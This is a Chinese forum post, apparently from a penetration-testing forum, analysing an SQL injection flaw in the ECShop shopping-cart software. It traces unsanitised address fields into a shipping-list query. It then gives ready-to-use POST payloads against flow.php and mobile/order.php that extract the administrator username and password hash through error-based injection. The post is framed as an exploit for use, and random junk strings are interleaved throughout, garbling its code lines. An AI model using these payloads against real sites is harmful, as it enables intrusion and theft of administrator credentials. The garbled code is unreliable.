中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
' F4 H& n2 R5 M
3 ]: A' k4 i/ G. U! v( v+ m    漏洞关键文件:* J8 i( {9 m! E9 Q3 q4 X
; O' N' `8 h: Y7 C5 Z6 \
    /includes/lib_order.php( u: ~$ ~$ p/ ?( F3 F" X2 Z& d* T
; A# J7 l0 _1 V7 S3 v+ [+ Q7 g
    关键函数:
/ h9 }0 H. h  h  [. w7 D8 d( t# {$ [! M! S
! Z5 L; M0 ^* |+ G/ i* U
& }6 l. |/ l3 l) E( Z& O, M. `$ M$ b) f! c
01     function available_shipping_list($region_id_list) & u2 J2 o/ o& B2 j$ v1 h
: Q6 T$ Y0 P& K9 X+ U  Q* m/ t
02 { " h) z* W* d) g* d
( G  e  H3 ]' L, i: b$ U1 }* P5 N( C! l
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . $ L* @  ^: e+ s9 y
% Y' F9 [5 A9 m( S8 _, k
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ' |2 P$ P# _4 ~  l* o# o
9 {, f  {! i+ t( |
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 3 ^* m& o3 Q# c, W% v

. J$ C: E! \8 ~& x( X3 I: k% z06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . : H& i# s$ U6 f& o' q7 Y8 j
! G0 v, C: {& C% z
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. " N3 E" \: W8 {3 }+ G+ \4 B2 e
7 w* p8 e! a; Q0 ]8 D# Q
08             'WHERE r.region_id ' . db_create_in($region_id_list) . * c9 \3 K3 f- j3 A+ h, g& q9 e

+ P0 @0 w2 E. L09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 0 {, f2 D1 f6 C4 Y  n0 \* v; [

1 i8 E. B! P* z2 [& I10   - q& @6 W) Q. x% o7 y) F  G+ X% g! U
; k( Y  u) ^9 P- U
11     return $GLOBALS['db']->getAll($sql);
, M6 I9 w  \5 L- g6 p) K
! E7 G$ b3 B  |3 f9 Q3 D12 } * O" z) a/ m; M* u# e
) n; z# h% L7 f" M
显然对传入的参数没有任何过滤就带入了查询语句。
, w. \1 m9 F6 G! R
5 }/ B1 K) `9 G  _下面我们追踪这个函数在flow.php中:) T6 U! X0 C' O  Z( \
第531行:   , {$ m4 n5 V, V9 }1 y$ e

9 @" U* |! {0 Y& ^" P- H* ~1 $shipping_list     = available_shipping_list($region); ) @- k- i5 H- j* e
# K& [1 i4 f. g3 h# p

5 m+ {6 p4 U5 U# @% N
2 V0 t8 a1 m( E8 W& `# p6 r0 ~# k
& z/ q2 z% D$ F1 E6 z8 E* \! i& o( |. |! E7 U
再对传入变量进行追踪:
0 l+ R  ~" M3 A8 a. D' i. Y
( [/ R% P- |, z7 F9 i" K( Q第530行:   
% Q% i$ _: l0 N! \+ J0 P) x/ Y/ m/ e# h, X0 b
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
; V# y' R) t1 v: e7 A; ]1 E3 v7 O$ \( P5 y6 _, U5 x

$ X1 E; y/ U- e" R% y+ W0 S
/ u0 d; `! a4 h  l% c  [
  k. F  K- `' @: O  j, o+ {& n2 b3 o3 J" R* L* W' f
第473行:        
2 G- x) p; X' T9 F0 _9 h3 \+ u! p8 A+ Q, z; r4 w+ d
1 $consignee = get_consignee($_SESSION['user_id']);
$ i, S0 e5 V9 I6 x/ v( r7 N
6 m# {! |' R7 F; f7 _0 b8 e: v到了一个关键函数:
( {0 L% Z7 {' C5 O% _- ^4 G6 Q; |5 p6 e( I7 u
/includes/lib_order.php, z7 O$ j6 w8 j  H* s7 B
- K% [. O. f% z8 F) X, J+ ]' ?! Y4 w
4 c# j. @9 P0 S
0 F# V$ _+ m, w$ z, L- ^

/ M$ t4 t0 t2 D2 F4 Z" T, X# l
! C2 T* h& M8 \, A( s* F$ y6 ]' o01 function get_consignee($user_id)
" B' b; e1 i3 X1 p0 t1 i1 m0 N( H% P1 ~/ g% B: P
02 { ( [, S  C5 T& C" s4 [7 l. H
! d$ e3 H% K9 A6 ~4 O, Q
03     if (isset($_SESSION['flow_consignee'])) 7 Y2 M" y" M+ J& g+ T2 b- ]6 q% ^: @
* V4 q4 D3 J$ Z
04     { / l1 H6 s( D& X

$ ]% n( H: C% y! S6 e05         /* 如果存在session,则直接返回session中的收货人信息 */ # h+ X" M% w& ]- P2 ^  O

) T) R5 V6 }1 E" b+ L6 ]! K8 a+ Z06   
5 d2 [3 P8 j: A# O+ @8 [! Z5 D  j6 W
07         return $_SESSION['flow_consignee'];
  J8 l) q9 I* g7 ]. i7 e# @) Q$ j( G5 m/ U) x' b
08     } * N5 ?" z% R' Y9 w/ A

) p2 M* M6 p4 B2 h0 w09     else 3 P* R" |$ n) g# R5 K2 `
4 i  J. Z7 p" ~4 D) R4 ^
10     {
1 ^) W* C4 m# z: J1 p7 D
& T4 T5 A9 F9 w- a" `0 H11         /* 如果不存在,则取得用户的默认收货人信息 */
! s, o7 y$ s7 ?9 D+ F9 ?: R
; d3 H6 d" W8 W' N3 C12         $arr = array();
, G( S* [8 h+ x2 Y5 `9 [4 f# n6 O) z0 P9 Q: A* Z) O
13   - e# ?4 l* P8 ]2 a
6 G0 e: ]* \. @& A
14         if ($user_id > 0)
; {& `  J" I; w
/ z& X! _( s3 h  K15         {
+ n6 P3 @! [( R  m: q# o! K1 d3 n# F! n
16             /* 取默认地址 */
& c7 g  b# U' f( f; b4 i; B9 D! ?; f1 U9 q2 m3 l* e& `
17             $sql = "SELECT ua.*".
" @8 G3 E8 H% B' h3 g( W3 a  f" z6 J
4 s8 ]: G& J( Z$ S% p9 U3 A18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. : l( i, M& o1 O0 U' p8 w8 |! Z
8 T3 l2 k) e: j5 e/ h3 h8 T9 \
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ( L' T6 s# U5 K1 x0 {; H. {

7 @% |, f' b2 l% {) D20   , ?! U, F+ T' p6 V5 `+ R% l- z

. o' E& T  C/ N: \) {21             $arr = $GLOBALS['db']->getRow($sql); * b4 j( W4 H2 x$ r+ O6 O) }
7 [$ G( z: b+ X, _. z
22         } " c1 N- @9 ^+ A
& V1 ~/ F) H4 N
23   ! i3 m# h4 Y5 ]% M
1 u# a6 ~4 M" O, Q) j' a1 [6 _
24         return $arr;
2 \" T" M4 l' r- m% p# U7 i. b1 _/ ^, m6 J' |' c9 s
25     }
9 F* s# c- n$ C' l* o9 K
  G  m3 [$ g3 I' u( S+ X* W26 } & W( P7 f' [9 R; S
) }* @  z6 h( B+ M
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
7 |- r8 M" K5 R8 E# C  ^; q! p# b4 ?) K. b. I
* |: X8 a7 n" |  S
9 m( @, c: @4 O5 z
关键点:1 d2 X! [3 W/ A* p$ `
! Z0 C* a( n9 Y( D& r3 z- a0 ~1 @
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);+ v9 p+ o  }9 f: E1 s

* W0 W0 F8 M4 V3 J" }8 Q: q; k这里对传入参数反转义存入$_SESSION中。
5 l; I: l8 x. m" n( y+ V' X' f
) q! _* x. M7 h2 ]) N/ Q% ^1 ~
  A0 k* p' `5 G$ C
; \1 u9 @% Q' o$ p% e# h然后看下:; v+ g+ ?; j9 ^
3 u2 B$ u7 d; G$ c3 V

$ r1 E, ^9 K4 U5 G0 y; x( G
2 \+ o( e0 c( {7 I8 L$ w   
! B5 R" y- ~( V" Y4 p5 d3 b2 E2 N" Y. f! S5 ~( W
01 $consignee = array(
% Y' h- n8 g' |. F5 f/ Q( O. k
" l) ]7 f8 j. S; b  u& v" H' g# I02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
; `1 ^" z' v' f& l# S$ {* d
+ A# \" v  d( W  W03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), " K5 R0 n& s( q' P) a$ Z. p! a
* p' }3 {% r% R# O9 C6 g
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
% v6 ~& w! k1 ~
) \3 m9 x3 h4 A8 y. b05         'province'      => empty($_POST['province'])   ? '' _POST['province'], ! H0 G7 w" y/ Y: c

# L# A0 m# G( V! w' \06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
; G- p0 Q" ]; [
9 G; J" h! \5 I7 F% e* g07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
, Y! i; @# w* F. ^. v9 {1 ?' Q- t" ^+ u5 g
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
/ e. ^+ E/ a& l1 V( N3 ]6 c8 P) d
: {0 x+ x$ [3 G- G6 A# a! G! C0 M09         'address'       => empty($_POST['address'])    ? '' _POST['address'], ; ]+ a5 W; X3 Z$ z

  {/ Z7 z2 O- q/ S7 e10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), , o6 H+ T! h+ E& x& N" g/ N! }

) k+ l: o6 A3 E9 }11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 7 `9 ]* D9 X9 h

, M6 V8 s/ U3 m12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 9 u8 g2 W3 e, E/ q

) g! {  s: e2 l; t) @! j$ f13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
  V! ?" K* G1 z
: q1 Q0 J) z' h) W* Q1 I, u1 {14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], / L6 i8 G( w5 y; q5 v; ~

0 N$ [' d% X" [4 A8 X3 H  Z15     ); . i1 B9 K" b/ R, X

2 w* x5 U$ U# [. z* i$ S, J好了注入就这样出现了。  L6 O, v& ]9 b5 F" F5 r" x4 F
; R1 ~" S3 g1 y8 m- w
==================) @# [8 u: x/ H8 r/ L2 Y0 K4 D+ f
3 R! ^7 {* H0 J
注入测试:/ f4 \: X  A0 b) }

1 r7 a& |, d# Q9 m2 t环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
4 j% h6 }; I2 l+ Z+ c. c( G; O. \3 E5 J( P: B# k" r/ k
测试程序:ECShop_V2.7.3_UTF8_release1106
! z. X! A$ c# t6 P( {8 {$ X9 K9 G7 ~4 B$ t# K! e7 M
2 s8 m0 Q/ V4 {; R; V
" S, ]6 Q" x- T! l; N2 p( Q1 ^( v
1.首先需要点击一个商品加入购物车
3 i+ T  d; _1 R
$ Y. q3 _: W5 D7 H2 Y. d2.注册一个会员帐号
: e- G+ p7 h5 Q! n8 b( z/ @+ ~3 L9 W& W  Q  O- R8 q3 k, L% J) H3 R% ?
3.post提交数据! T1 L. o  Q$ O) s/ J" B

  ^" c$ L' R. A+ |1 H( r# R
" e( K8 }3 c0 k! j$ G. r3 Y5 K  ]$ u& p- V! r5 y
1 http://127.0.0.1/ecshop/flow.php
# C" D8 i/ n) U+ H: r# f1 P% U% k/ f% }7 e' l
2   
! G, ]% S1 L7 t, R4 j2 t
# o9 t" B4 s) J$ U3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
% `; s; Q& e# b. S# E$ W举一反三,我们根据这个漏洞我们可以继续深入挖掘:- I. b; S+ k8 X: `% n* S% p$ s
6 U3 R, |' ]) o8 D5 I- x
我们搜寻关键函数function available_shipping_list()
6 ]2 ]8 f, O1 F* k  s1 c4 J( H
+ X, i( G  E" O) L0 A# X0 p在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
/ H% S7 U1 O6 @% E% d! X: @3 a6 s8 E
利用exp:
3 Y0 z4 q% G( ~; p( Z, T
( }) x3 `4 C3 M9 [9 r6 R* T1.点击一个商品,点击购买商标) C: M( o. a3 V

5 F: p, c9 U) S7 f  O& n8 p& V2.登录会员帐号
- F6 y2 f5 U9 c! V* M- `! o, C- N3 v# t& ?7 s) n
3.post提交:. s/ N( e. A* d6 X9 Z
% C" ]0 L4 ^2 V9 x4 C
http://127.0.0.1/ecshop/mobile/order.php! O+ p! {0 H; |& u" ^# |' W" m
: O  v4 x3 B, J0 V9 e# y
, v% C% u* x5 t7 V; j6 }

1 E% [- Z8 B: _, J8 Ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
7 h! w2 e  J% X( `, l  m9 K- E8 p0 f





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2